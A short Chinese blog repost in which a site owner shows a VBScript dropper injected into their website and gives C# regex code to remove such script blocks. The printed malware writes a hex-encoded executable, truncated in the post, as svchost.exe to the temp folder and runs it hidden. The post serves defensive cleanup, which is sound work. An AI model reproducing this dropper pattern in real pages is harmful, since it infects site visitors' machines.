码迷,mamicode.com
首页 > 其他好文 > 详细

替换已xx开头已yy结尾的正则

时间:2017-09-21 13:25:08      阅读:171      评论:0      收藏:0      [点我收藏+]

标签:object   exists   var   console   shell   ext   text   shel   lan   

网站被挂马了 ,挂马的形式千奇百怪

技术分享

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000....(此处省略一万字)”

Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

 

用正则去把这段标签替换为空 


 

public static bool checkStr(string path)
{
bool flag = false;
var res = string.Empty;
var regex = new Regex(@"<SCRIPT Language=VBScript>([\s\S]*)</SCRIPT>", RegexOptions.IgnoreCase);
using (StreamReader sr = File.OpenText(path))
{
res = sr.ReadToEnd();
}
if (regex.IsMatch(res))
{
res = regex.Replace(res, " ");
Console.WriteLine("清理成功");
flag = true;
WriteFile(path, res);
}
return flag;
}

以上用的是C#语言

替换已xx开头已yy结尾的正则

标签:object   exists   var   console   shell   ext   text   shel   lan   

原文地址:http://www.cnblogs.com/Leesttee/p/7567428.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!